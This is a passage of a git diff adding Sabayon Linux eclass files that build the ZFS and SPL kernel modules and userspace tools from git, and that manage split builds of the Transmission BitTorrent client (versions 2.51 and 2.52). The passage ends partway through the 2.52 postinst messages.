+EXPORT_FUNCTIONS pkg_setup src_unpack src_prepare src_configure src_compile src_install pkg_preinst pkg_postinst pkg_postrm
+
+# @ECLASS-VARIABLE: ZFS_GIT_REPO
+# @DESCRIPTION:
+# Identified the ZFS Git repo from where to pull
+ZFS_GIT_REPO="${ZFS_GIT_REPO:-}"
+
+# @ECLASS-VARIABLE: ZFS_GIT_BRANCH
+# @DESCRIPTION:
+# Identified the ZFS Git branch from where to pull
+ZFS_GIT_BRANCH="${ZFS_GIT_BRANCH:-}"
+
+# @ECLASS-VARIABLE: ZFS_GIT_COMMIT
+# @DESCRIPTION:
+# Identified the ZFS Git commit from where to pull
+ZFS_GIT_COMMIT="${ZFS_GIT_COMMIT:-}"
+
+# @ECLASS-VARIABLE: SPL_GIT_REPO
+# @DESCRIPTION:
+# Identified the SPL Git repo from where to pull
+SPL_GIT_REPO="${SPL_GIT_REPO:-}"
+
+# @ECLASS-VARIABLE: SPL_GIT_BRANCH
+# @DESCRIPTION:
+# Identified the SPL Git branch from where to pull
+SPL_GIT_BRANCH="${SPL_GIT_BRANCH:-}"
+
+# @ECLASS-VARIABLE: SPL_GIT_COMMIT
+# @DESCRIPTION:
+# Identified the SPL Git commit from where to pull
+SPL_GIT_COMMIT="${SPL_GIT_COMMIT:-}"
+
+SRC_URI=""
+
+DESCRIPTION="The Solaris Porting Layer Linux kernel module and ZFS Filesystem"
+HOMEPAGE="http://zfsonlinux.org/"
+
+LICENSE="|| ( GPL-2 GPL-3 ) CDDL"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="custom-cflags debug"
+
+RDEPEND+="!sys-devel/spl ~sys-fs/zfs-userspace-${PV}"
+
+SPL_S="${S}/spl-src"
+ZFS_S="${S}/zfs-src"
+
+spl-zfs-kernel_pkg_setup() {
+	CONFIG_CHECK="
+		!DEBUG_LOCK_ALLOC
+		BLK_DEV_LOOP
+		EFI_PARTITION
+		MODULES
+		KALLSYMS
+		ZLIB_DEFLATE
+		ZLIB_INFLATE"
+	kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required"
+	check_extra_config
+}
+
+spl-zfs-kernel_src_unpack() {
+	# unpack spl
+	EGIT_REPO_URI="${SPL_GIT_REPO}" \
+	EGIT_BRANCH="${SPL_GIT_BRANCH}" \
+	EGIT_COMMIT="${SPL_GIT_COMMIT}" \
+	EGIT_SOURCEDIR="${SPL_S}" \
+		git-2_src_unpack
+
+	# unpack zfs
+	EGIT_REPO_URI="${ZFS_GIT_REPO}" \
+	EGIT_BRANCH="${ZFS_GIT_BRANCH}" \
+	EGIT_COMMIT="${ZFS_GIT_COMMIT}" \
+	EGIT_SOURCEDIR="${ZFS_S}" \
+		git-2_src_unpack
+}
+
+_zfs_src_prepare() {
+	# Workaround for hard coded path
+	sed -i "s|/sbin/lsmod|/bin/lsmod|" "${ZFS_S}"/scripts/common.sh.in || die
+	# Workaround rename
+	sed -i "s|/usr/bin/scsi-rescan|/usr/sbin/rescan-scsi-bus|" "${ZFS_S}"/scripts/common.sh.in || die
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_prepare
+}
+
+_spl_src_prepare() {
+	# Workaround for hard coded path
+	sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_prepare
+}
+
+spl-zfs-kernel_src_prepare() {
+	_spl_src_prepare
+	_zfs_src_prepare
+}
+
+_zfs_src_configure() {
+	use custom-cflags || strip-flags
+	set_arch_to_kernel
+
+	local myeconfargs=(
+		--bindir="${EPREFIX}/bin"
+		--sbindir="${EPREFIX}/sbin"
+		--with-config=kernel
+		--with-linux="${KV_DIR}"
+		--with-linux-obj="${KV_OUT_DIR}"
+		--with-udevdir="${EPREFIX}/lib/udev"
+		$(use_enable debug)
+		--with-spl="${SPL_S}"
+	)
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure
+}
+
+_spl_src_configure() {
+	use custom-cflags || strip-flags
+	set_arch_to_kernel
+
+	local myeconfargs=(
+		--bindir="${EPREFIX}/bin"
+		--sbindir="${EPREFIX}/sbin"
+		--with-config=all
+		--with-linux="${KV_DIR}"
+		--with-linux-obj="${KV_OUT_DIR}"
+		$(use_enable debug)
+		--with-config=kernel
+	)
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure
+}
+
+spl-zfs-kernel_src_configure() {
+	_spl_src_configure
+	_zfs_src_configure
+}
+
+_zfs_src_compile() {
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile
+}
+
+_spl_src_compile() {
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile
+}
+
+spl-zfs-kernel_src_compile() {
+	_spl_src_compile
+	_zfs_src_compile
+}
+
+_zfs_src_install() {
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install
+	rm -rf "${ED}"/usr # make sure
+}
+
+_spl_src_install() {
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_install
+	rm -rf "${ED}"/usr # make sure
+}
+
+spl-zfs-kernel_src_install() {
+	_spl_src_install
+	_zfs_src_install
+}
+
+spl-zfs-kernel_pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+spl-zfs-kernel_pkg_postinst() {
+	linux-mod_pkg_postinst
+}
+
+spl-zfs-kernel_pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/eclass/spl-zfs-userspace.eclass b/eclass/spl-zfs-userspace.eclass
new file mode 100644
index 00000000..33c211a6
--- /dev/null
+++ b/eclass/spl-zfs-userspace.eclass
@@ -0,0 +1,218 @@
+# Copyright 2004-2012 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+AT_M4DIR="config"
+AUTOTOOLS_AUTORECONF="1"
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit eutils flag-o-matic git-2 linux-mod autotools-utils
+
+# export all the available functions here
+EXPORT_FUNCTIONS pkg_setup src_unpack src_prepare src_configure src_compile src_install src_test
+
+# @ECLASS-VARIABLE: ZFS_GIT_REPO
+# @DESCRIPTION:
+# Identified the ZFS Git repo from where to pull
+ZFS_GIT_REPO="${ZFS_GIT_REPO:-}"
+
+# @ECLASS-VARIABLE: ZFS_GIT_BRANCH
+# @DESCRIPTION:
+# Identified the ZFS Git branch from where to pull
+ZFS_GIT_BRANCH="${ZFS_GIT_BRANCH:-}"
+
+# @ECLASS-VARIABLE: ZFS_GIT_COMMIT
+# @DESCRIPTION:
+# Identified the ZFS Git commit from where to pull
+ZFS_GIT_COMMIT="${ZFS_GIT_COMMIT:-}"
+
+# @ECLASS-VARIABLE: SPL_GIT_REPO
+# @DESCRIPTION:
+# Identified the SPL Git repo from where to pull
+SPL_GIT_REPO="${SPL_GIT_REPO:-}"
+
+# @ECLASS-VARIABLE: SPL_GIT_BRANCH
+# @DESCRIPTION:
+# Identified the SPL Git branch from where to pull
+SPL_GIT_BRANCH="${SPL_GIT_BRANCH:-}"
+
+# @ECLASS-VARIABLE: SPL_GIT_COMMIT
+# @DESCRIPTION:
+# Identified the SPL Git commit from where to pull
+SPL_GIT_COMMIT="${SPL_GIT_COMMIT:-}"
+
+SRC_URI=""
+
+DESCRIPTION="The Solaris Porting Layer and ZFS Filesystem userspace utilities"
+HOMEPAGE="http://zfsonlinux.org/"
+
+LICENSE="|| ( GPL-2 GPL-3 ) CDDL"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+IUSE="custom-cflags debug dracut +rootfs test test-suite static-libs"
+DEPEND+=" sys-apps/util-linux[static-libs?]
+	sys-libs/zlib[static-libs(+)?]"
+RDEPEND+=" ${DEPEND}
+	!sys-fs/zfs-fuse
+	!prefix? ( sys-fs/udev )
+	test-suite? (
+		sys-apps/gawk
+		sys-apps/util-linux
+		sys-devel/bc
+		sys-block/parted
+		sys-fs/lsscsi
+		sys-fs/mdadm
+		sys-process/procps
+		virtual/modutils
+		)
+	rootfs? (
+		app-arch/cpio
+		app-misc/pax-utils
+	)"
+DEPEND+=" test? ( sys-fs/mdadm )"
+
+SPL_S="${S}/spl-src"
+ZFS_S="${S}/zfs-src"
+
+spl-zfs-userspace_pkg_setup() {
+	CONFIG_CHECK="
+		!DEBUG_LOCK_ALLOC
+		BLK_DEV_LOOP
+		EFI_PARTITION
+		MODULES
+		KALLSYMS
+		ZLIB_DEFLATE
+		ZLIB_INFLATE"
+	kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required"
+	check_extra_config
+}
+
+spl-zfs-userspace_src_unpack() {
+	# unpack spl
+	EGIT_REPO_URI="${SPL_GIT_REPO}" \
+	EGIT_BRANCH="${SPL_GIT_BRANCH}" \
+	EGIT_COMMIT="${SPL_GIT_COMMIT}" \
+	EGIT_SOURCEDIR="${SPL_S}" \
+		git-2_src_unpack
+
+	# unpack zfs
+	EGIT_REPO_URI="${ZFS_GIT_REPO}" \
+	EGIT_BRANCH="${ZFS_GIT_BRANCH}" \
+	EGIT_COMMIT="${ZFS_GIT_COMMIT}" \
+	EGIT_SOURCEDIR="${ZFS_S}" \
+		git-2_src_unpack
+}
+
+_zfs_src_prepare() {
+	# Workaround for hard coded path
+	sed -i "s|/sbin/lsmod|/bin/lsmod|" "${ZFS_S}"/scripts/common.sh.in || die
+	# Workaround rename
+	sed -i "s|/usr/bin/scsi-rescan|/usr/sbin/rescan-scsi-bus|" "${ZFS_S}"/scripts/common.sh.in || die
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_prepare
+}
+
+_spl_src_prepare() {
+	# Workaround for hard coded path
+	sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_prepare
+}
+
+spl-zfs-userspace_src_prepare() {
+	_spl_src_prepare
+	_zfs_src_prepare
+}
+
+_zfs_src_configure() {
+	use custom-cflags || strip-flags
+	set_arch_to_kernel
+
+	local myeconfargs=(
+		--bindir="${EPREFIX}/bin"
+		--sbindir="${EPREFIX}/sbin"
+		--with-config=user
+		--with-linux="${KV_DIR}"
+		--with-linux-obj="${KV_OUT_DIR}"
+		--with-udevdir="${EPREFIX}/lib/udev"
+		$(use_enable debug)
+		--with-spl="${SPL_S}"
+	)
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure
+}
+
+_spl_src_configure() {
+	use custom-cflags || strip-flags
+	set_arch_to_kernel
+
+	local myeconfargs=(
+		--bindir="${EPREFIX}/bin"
+		--sbindir="${EPREFIX}/sbin"
+		--with-config=all
+		--with-linux="${KV_DIR}"
+		--with-linux-obj="${KV_OUT_DIR}"
+		$(use_enable debug)
+		--with-config=user
+	)
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure
+}
+
+spl-zfs-userspace_src_configure() {
+	_spl_src_configure
+	_zfs_src_configure
+}
+
+_zfs_src_compile() {
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile
+}
+
+_spl_src_compile() {
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile
+}
+
+spl-zfs-userspace_src_compile() {
+	_spl_src_compile
+	_zfs_src_compile
+}
+
+_zfs_src_install() {
+	cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install
+	gen_usr_ldscript -a uutil nvpair zpool zfs
+	use dracut || rm -rf "${ED}usr/share/dracut"
+	use test-suite || rm -rf "${ED}usr/libexec"
+
+	if use rootfs
+	then
+		doinitd "${FILESDIR}/zfs-shutdown"
+		exeinto /usr/share/zfs
+		doexe "${FILESDIR}/linuxrc"
+	fi
+}
+
+_spl_src_install() {
+	cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_install
+	rm -rf "${ED}"/usr # make sure
+}
+
+spl-zfs-userspace_src_install() {
+	_spl_src_install
+	_zfs_src_install
+}
+
+spl-zfs-userspace_src_test() {
+	if [[ ! -e /proc/modules ]]
+	then
+		die  "Missing /proc/modules"
+	elif [[ $UID -ne 0 ]]
+	then
+		ewarn "Cannot run make check tests with FEATURES=userpriv."
+		ewarn "Skipping make check tests."
+	elif grep -q '^spl ' /proc/modules
+	then
+		ewarn "Cannot run make check tests with module spl loaded."
+		ewarn "Skipping make check tests."
+	else
+		cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_test
+		cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_test
+	fi
+}
+
diff --git a/eclass/transmission-2.51.eclass b/eclass/transmission-2.51.eclass
new file mode 100644
index 00000000..e1e32e02
--- /dev/null
+++ b/eclass/transmission-2.51.eclass
@@ -0,0 +1,294 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+# @ECLASS: transmission-2.51.eclass
+# @MAINTAINER:
+# slawomir.nizio@sabayon.org
+# @AUTHOR:
+# Sławomir Nizio <slawomir.nizio@sabayon.org>
+# @BLURB: eclass to ease managing of Sabayon split net-p2p/transmission
+# @DESCRIPTION:
+# This eclass is to ease managing of split net-p2p/transmission for Sabayon.
+# Its name contains a version that corresponds to net-p2p/transmission one,
+# because the eclass will change often when needed to follow changes
+# in Gentoo ebuild.
+
+# @ECLASS-VARIABLE: TRANSMISSION_ECLASS_VERSION_OK
+# @DESCRIPTION:
+# Set this to x.y if you want to use transmission-x.y.eclass from ebuild
+# with ${PV} different than x.y. This is to catch bugs.
+: ${TRANSMISSION_ECLASS_VERSION_OK:=${PV}}
+
+# @ECLASS-VARIABLE: E_TRANSM_TAIL
+# @DESCRIPTION:
+# "Tail" of package name. Can take value gtk, qt4, etc. or can be empty.
+# It shouldn't be modified.
+E_TRANSM_TAIL=${PN#transmission}
+E_TRANSM_TAIL=${E_TRANSM_TAIL#-}
+
+# @FUNCTION: _transmission_is
+# @DESCRIPTION:
+# Function used to check which variant of Transmission are we working on.
+# Argument should be one of these: (none), gtk, qt4, daemon, cli, base.
+# If argument is empty or omitted, true value means that it is
+# net-p2p/transmission (metapackage).
+# Consider it private.
+_transmission_is() {
+	local what=$1
+	[[ ${what} = "${E_TRANSM_TAIL}" ]]
+}
+
+LANGS="en es kk lt pt_BR ru" # used only for -qt
+
+unset _live_inherits
+if [[ ${PV} == *9999* ]]; then
+	# not tested in the eclass
+	ESVN_REPO_URI="svn://svn.transmissionbt.com/Transmission/trunk"
+	_live_inherits=subversion
+fi
+
+MY_ECLASSES=""
+_transmission_is gtk && MY_ECLASSES+="fdo-mime gnome2-utils"
+_transmission_is qt4 && MY_ECLASSES+="fdo-mime qt4-r2"
+_transmission_is "" || MY_ECLASSES+=" autotools"
+
+inherit eutils multilib ${MY_ECLASSES} ${_live_inherits}
+
+unset MY_ECLASSES
+
+case ${EAPI:-0} in
+	4|3) EXPORT_FUNCTIONS pkg_setup src_prepare src_configure src_compile \
+		pkg_preinst pkg_postinst pkg_postrm ;;
+	*) die "EAPI=${EAPI} is not supported" ;;
+esac
+
+[[ ${PN} = transmission* ]] || \
+	die "This eclass can only be used with net-p2p/transmission* ebuilds!"
+# Bug catcher!
+if ! [[ ${PV} = *9999* ]] && [[ ${TRANSMISSION_ECLASS_VERSION_OK} != ${ECLASS#*-} ]]; then
+	eerror "used eclass ${ECLASS}"
+	eerror "TRANSMISSION_ECLASS_VERSION_OK=${TRANSMISSION_ECLASS_VERSION_OK}"
+	die "ebuild version ${PV} doesn't match with the eclass"
+fi
+
+MY_PN="transmission"
+MY_P="${MY_PN}-${PV}"
+
+DESCRIPTION="A Fast, Easy and Free BitTorrent client"
+HOMEPAGE="http://www.transmissionbt.com/"
+SRC_URI="http://download.transmissionbt.com/${MY_PN}/files/${MY_P}.tar.xz"
+
+LICENSE="GPL-2 MIT"
+SLOT="0"
+IUSE=""
+
+# only common dependencies plus blockers
+RDEPEND=""
+_transmission_is base || RDEPEND+="~net-p2p/transmission-base-${PV}"
+if ! _transmission_is ""; then
+	RDEPEND+="
+	>=dev-libs/libevent-2.0.10
+	dev-libs/openssl:0
+	>=net-libs/miniupnpc-1.6
+	>=net-misc/curl-7.16.3[ssl]
+	net-libs/libnatpmp
+	sys-libs/zlib"
+fi
+
+DEPEND="${RDEPEND}"
+if _transmission_is base; then
+	RDEPEND+=" !<net-p2p/transmission-gtk-${PV}
+	!<net-p2p/transmission-qt4-${PV}
+	!<net-p2p/transmission-daemon-${PV}
+	!<net-p2p/transmission-cli-${PV}"
+fi
+if ! _transmission_is ""; then
+	DEPEND+=" dev-util/intltool
+	dev-util/pkgconfig
+	sys-devel/gettext
+	virtual/os-headers"
+fi
+
+S="${WORKDIR}/${MY_P}"
+_transmission_is "" && S="${WORKDIR}"
+
+transmission-2.51_pkg_setup() {
+	if _transmission_is base; then
+		enewgroup transmission
+		enewuser transmission -1 -1 -1 transmission
+	fi
+}
+
+transmission-2.51_src_unpack() {
+	if [[ ${PV} == *9999* ]]; then
+		subversion_src_unpack
+	else
+		default
+	fi
+}
+
+transmission-2.51_src_prepare() {
+	_transmission_is "" && return
+
+	if [[ ${PV} == *9999* ]]; then
+		subversion_src_prepare
+		./update-version-h.sh
+	fi
+
+	sed -i -e '/CFLAGS/s:-ggdb3::' configure.ac || die
+
+	if ! use_if_iuse ayatana; then
+		sed -i -e '/^LIBAPPINDICATOR_MINIMUM/s:=.*:=9999:' configure.ac || die
+	fi
+
+	# http://trac.transmissionbt.com/ticket/4324
+	sed -i -e 's|noinst\(_PROGRAMS = $(TESTS)\)|check\1|' lib${MY_PN}/Makefile.am || die
+
+	intltoolize --copy --force --automake || die
+	eautoreconf
+
+	if _transmission_is qt4; then
+		cat <<-EOF > "${T}"/${MY_PN}-magnet.protocol
+		[Protocol]
+		exec=transmission-qt '%u'
+		protocol=magnet
+		Icon=transmission
+		input=none
+		output=none
+		helper=true
+		listing=
+		reading=false
+		writing=false
+		makedir=false
+		deleting=false
+		EOF
+	fi
+
+	if ! _transmission_is base; then
+		local sedcmd="s:\$(top_builddir)/libtransmission/libtransmission.a:"
+		sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:"
+		find . -name Makefile.in -exec sed -i -e "${sedcmd}" {} \; || die
+		sed -i -e '/libtransmission \\/d' Makefile.in || die
+		if _transmission_is qt4; then
+			sedcmd="s:\$\${TRANSMISSION_TOP}/libtransmission/libtransmission.a:"
+			sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:"
+			sed -i -e "${sedcmd}" qt/qtr.pro || die
+		fi
+	fi
+}
+
+transmission-2.51_src_configure() {
+	_transmission_is "" && return
+
+	local econfargs=(
+		--enable-external-natpmp
+	)
+
+	if _transmission_is base; then
+		export ac_cv_header_xfs_xfs_h=$(usex xfs)
+		econfargs+=(
+			--disable-cli
+			--disable-daemon
+			--without-gtk
+			$(use_enable lightweight)
+		)
+	elif _transmission_is cli; then
+		econfargs+=(
+			--enable-cli
+			--disable-daemon
+			--without-gtk
+		)
+	elif _transmission_is daemon; then
+		econfargs+=(
+			--disable-cli
+			--enable-daemon
+			--without-gtk
+		)
+	elif _transmission_is gtk; then
+		econfargs+=(
+			--disable-cli
+			--disable-daemon
+			--with-gtk
+		)
+	elif _transmission_is qt4; then
+		econfargs+=(
+			--disable-cli
+			--disable-daemon
+			--without-gtk
+		)
+	else
+		die "Something is wrong... (E_TRANSM_TAIL=$E_TRANSM_TAIL)"
+	fi
+
+	econf "${econfargs[@]}"
+	if _transmission_is qt4; then
+		pushd qt >/dev/null
+		eqmake4 qtr.pro
+		popd >/dev/null
+	fi
+}
+
+transmission-2.51_src_compile() {
+	_transmission_is "" && return
+
+	emake
+	if _transmission_is qt4; then
+		pushd qt >/dev/null
+		emake
+
+		local l
+		for l in ${LANGS}; do
+			if use linguas_${l}; then
+				lrelease translations/${MY_PN}_${l}.ts
+			fi
+		done
+		popd >/dev/null
+	fi
+}
+
+
+# Note: not providing src_install. Too many differences and too much code
+# which would only clutter this pretty eclass.
+
+transmission-2.51_pkg_preinst() {
+	_transmission_is gtk && gnome2_icon_savelist
+}
+
+transmission-2.51_pkg_postinst() {
+	if _transmission_is gtk || _transmission_is qt4; then
+		fdo-mime_desktop_database_update
+	fi
+
+	_transmission_is gtk && gnome2_icon_cache_update
+
+	if _transmission_is daemon; then
+		elog "If you use ${MY_PN}-daemon, please, set 'rpc-username' and"
+		elog "'rpc-password' (in plain text, ${MY_PN}-daemon will hash it on"
+		elog "start) in settings.json file located at /var/${MY_PN}/config or"
+		elog "any other appropriate config directory."
+	fi
+
+	if _transmission_is gtk; then
+		# in -gtk only?
+		elog
+		elog "To enable sound emerge media-libs/libcanberra and check that at least"
+		elog "some sound them is selected. For this go:"
+		elog "Gnome/system/preferences/sound themes tab and 'sound theme: default'"
+		elog
+	fi
+
+	elog "Since µTP is enabled by default, ${MY_PN} needs large kernel buffers for"
+	elog "the UDP socket. You can append following lines into /etc/sysctl.conf:"
+	elog " net.core.rmem_max = 4194304"
+	elog " net.core.wmem_max = 1048576"
+	elog "and run sysctl -p"
+}
+
+transmission-2.51_pkg_postrm() {
+	if _transmission_is gtk || _transmission_is qt4; then
+		fdo-mime_desktop_database_update
+	fi
+
+	_transmission_is gtk && gnome2_icon_cache_update
+}
diff --git a/eclass/transmission-2.52.eclass b/eclass/transmission-2.52.eclass
new file mode 100644
index 00000000..17b3aa14
--- /dev/null
+++ b/eclass/transmission-2.52.eclass
@@ -0,0 +1,295 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+# @ECLASS: transmission-2.52.eclass
+# @MAINTAINER:
+# slawomir.nizio@sabayon.org
+# @AUTHOR:
+# Sławomir Nizio <slawomir.nizio@sabayon.org>
+# @BLURB: eclass to ease managing of Sabayon split net-p2p/transmission
+# @DESCRIPTION:
+# This eclass is to ease managing of split net-p2p/transmission for Sabayon.
+# Its name contains a version that corresponds to net-p2p/transmission one,
+# because the eclass will change often when needed to follow changes
+# in Gentoo ebuild.
+
+# @ECLASS-VARIABLE: TRANSMISSION_ECLASS_VERSION_OK
+# @DESCRIPTION:
+# Set this to x.y if you want to use transmission-x.y.eclass from ebuild
+# with ${PV} different than x.y. This is to catch bugs.
+: ${TRANSMISSION_ECLASS_VERSION_OK:=${PV}}
+
+# @ECLASS-VARIABLE: E_TRANSM_TAIL
+# @DESCRIPTION:
+# "Tail" of package name. Can take value gtk, qt4, etc. or can be empty.
+# It shouldn't be modified.
+E_TRANSM_TAIL=${PN#transmission}
+E_TRANSM_TAIL=${E_TRANSM_TAIL#-}
+
+# @FUNCTION: _transmission_is
+# @DESCRIPTION:
+# Function used to check which variant of Transmission are we working on.
+# Argument should be one of these: (none), gtk, qt4, daemon, cli, base.
+# If argument is empty or omitted, true value means that it is
+# net-p2p/transmission (metapackage).
+# Consider it private.
+_transmission_is() {
+	local what=$1
+	[[ ${what} = "${E_TRANSM_TAIL}" ]]
+}
+
+LANGS="en es kk lt pt_BR ru" # used only for -qt
+
+unset _live_inherits
+if [[ ${PV} == *9999* ]]; then
+	# not tested in the eclass
+	ESVN_REPO_URI="svn://svn.transmissionbt.com/Transmission/trunk"
+	_live_inherits=subversion
+fi
+
+MY_ECLASSES=""
+_transmission_is gtk && MY_ECLASSES+="fdo-mime gnome2-utils"
+_transmission_is qt4 && MY_ECLASSES+="fdo-mime qt4-r2"
+_transmission_is "" || MY_ECLASSES+=" autotools"
+
+inherit eutils multilib ${MY_ECLASSES} ${_live_inherits}
+
+unset MY_ECLASSES
+
+case ${EAPI:-0} in
+	4|3) EXPORT_FUNCTIONS pkg_setup src_prepare src_configure src_compile \
+		pkg_preinst pkg_postinst pkg_postrm ;;
+	*) die "EAPI=${EAPI} is not supported" ;;
+esac
+
+[[ ${PN} = transmission* ]] || \
+	die "This eclass can only be used with net-p2p/transmission* ebuilds!"
+# Bug catcher!
+if ! [[ ${PV} = *9999* ]] && [[ ${TRANSMISSION_ECLASS_VERSION_OK} != ${ECLASS#*-} ]]; then
+	eerror "used eclass ${ECLASS}"
+	eerror "TRANSMISSION_ECLASS_VERSION_OK=${TRANSMISSION_ECLASS_VERSION_OK}"
+	die "ebuild version ${PV} doesn't match with the eclass"
+fi
+
+MY_PN="transmission"
+MY_P="${MY_PN}-${PV}"
+
+DESCRIPTION="A Fast, Easy and Free BitTorrent client"
+HOMEPAGE="http://www.transmissionbt.com/"
+SRC_URI="http://download.transmissionbt.com/${MY_PN}/files/${MY_P}.tar.xz"
+
+LICENSE="GPL-2 MIT"
+SLOT="0"
+IUSE=""
+
+# only common dependencies plus blockers
+RDEPEND=""
+_transmission_is base || RDEPEND+="~net-p2p/transmission-base-${PV}"
+if ! _transmission_is ""; then
+	RDEPEND+="
+	>=dev-libs/libevent-2.0.10
+	dev-libs/openssl:0
+	>=net-libs/miniupnpc-1.6.20120509
+	>=net-misc/curl-7.16.3[ssl]
+	net-libs/libnatpmp
+	sys-libs/zlib"
+fi
+
+DEPEND="${RDEPEND}"
+if _transmission_is base; then
+	RDEPEND+=" !<net-p2p/transmission-gtk-${PV}
+	!<net-p2p/transmission-qt4-${PV}
+	!<net-p2p/transmission-daemon-${PV}
+	!<net-p2p/transmission-cli-${PV}"
+fi
+if ! _transmission_is ""; then
+	DEPEND+=" dev-util/intltool
+	virtual/pkgconfig
+	sys-devel/gettext
+	virtual/os-headers"
+fi
+
+S="${WORKDIR}/${MY_P}"
+_transmission_is "" && S="${WORKDIR}"
+
+transmission-2.52_pkg_setup() {
+	if _transmission_is base; then
+		enewgroup transmission
+		enewuser transmission -1 -1 -1 transmission
+	fi
+}
+
+transmission-2.52_src_unpack() {
+	if [[ ${PV} == *9999* ]]; then
+		subversion_src_unpack
+	else
+		default
+	fi
+}
+
+transmission-2.52_src_prepare() {
+	_transmission_is "" && return
+
+	if [[ ${PV} == *9999* ]]; then
+		subversion_src_prepare
+		./update-version-h.sh
+	fi
+
+	sed -i -e '/CFLAGS/s:-ggdb3::' configure.ac || die
+
+	if ! use_if_iuse ayatana; then
+		sed -i -e '/^LIBAPPINDICATOR_MINIMUM/s:=.*:=9999:' configure.ac || die
+	fi
+
+	# http://trac.transmissionbt.com/ticket/4324
+	sed -i -e 's|noinst\(_PROGRAMS = $(TESTS)\)|check\1|' lib${MY_PN}/Makefile.am || die
+
+	# [eclass] patch for FreeBSD skipped
+
+	eautoreconf
+
+	if _transmission_is qt4; then
+		cat <<-EOF > "${T}"/${MY_PN}-magnet.protocol
+		[Protocol]
+		exec=transmission-qt '%u'
+		protocol=magnet
+		Icon=transmission
+		input=none
+		output=none
+		helper=true
+		listing=
+		reading=false
+		writing=false
+		makedir=false
+		deleting=false
+		EOF
+	fi
+
+	if ! _transmission_is base; then
+		local sedcmd="s:\$(top_builddir)/libtransmission/libtransmission.a:"
+		sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:"
+		find . -name Makefile.in -exec sed -i -e "${sedcmd}" {} \; || die
+		sed -i -e '/libtransmission \\/d' Makefile.in || die
+		if _transmission_is qt4; then
+			sedcmd="s:\$\${TRANSMISSION_TOP}/libtransmission/libtransmission.a:"
+			sedcmd+="${EROOT}usr/$(get_libdir)/libtransmission.a:"
+			sed -i -e "${sedcmd}" qt/qtr.pro || die
+		fi
+	fi
+}
+
+transmission-2.52_src_configure() {
+	_transmission_is "" && return
+
+	local econfargs=(
+		--enable-external-natpmp
+	)
+
+	if _transmission_is base; then
+		export ac_cv_header_xfs_xfs_h=$(usex xfs)
+		econfargs+=(
+			--disable-cli
+			--disable-daemon
+			--without-gtk
+			$(use_enable lightweight)
+		)
+	elif _transmission_is cli; then
+		econfargs+=(
+			--enable-cli
+			--disable-daemon
+			--without-gtk
+		)
+	elif _transmission_is daemon; then
+		econfargs+=(
+			--disable-cli
+			--enable-daemon
+			--without-gtk
+		)
+	elif _transmission_is gtk; then
+		econfargs+=(
+			--disable-cli
+			--disable-daemon
+			--with-gtk
+		)
+	elif _transmission_is qt4; then
+		econfargs+=(
+			--disable-cli
+			--disable-daemon
+			--without-gtk
+		)
+	else
+		die "Something is wrong... (E_TRANSM_TAIL=$E_TRANSM_TAIL)"
+	fi
+
+	econf "${econfargs[@]}"
+	if _transmission_is qt4; then
+		pushd qt >/dev/null
+		eqmake4 qtr.pro
+		popd >/dev/null
+	fi
+}
+
+transmission-2.52_src_compile() {
+	_transmission_is "" && return
+
+	emake
+	if _transmission_is qt4; then
+		pushd qt >/dev/null
+		emake
+
+		local l
+		for l in ${LANGS}; do
+			if use linguas_${l}; then
+				lrelease translations/${MY_PN}_${l}.ts
+			fi
+		done
+		popd >/dev/null
+	fi
+}
+
+
+# Note: not providing src_install. Too many differences and too much code
+# which would only clutter this pretty eclass.
+
+transmission-2.52_pkg_preinst() {
+	_transmission_is gtk && gnome2_icon_savelist
+}
+
+transmission-2.52_pkg_postinst() {
+	if _transmission_is gtk || _transmission_is qt4; then
+		fdo-mime_desktop_database_update
+	fi
+
+	_transmission_is gtk && gnome2_icon_cache_update
+
+	if _transmission_is daemon; then
+		elog "If you use ${MY_PN}-daemon, please, set 'rpc-username' and"
+		elog "'rpc-password' (in plain text, ${MY_PN}-daemon will hash it on"
+		elog "start) in settings.json file located at /var/${MY_PN}/config or"
+		elog "any other appropriate config directory."
+	fi
+
+	if _transmission_is gtk; then
+		# in -gtk only?
+		elog
+		elog "To enable sound emerge media-libs/libcanberra and check that at least"
+		elog "some sound them is selected. For this go:"
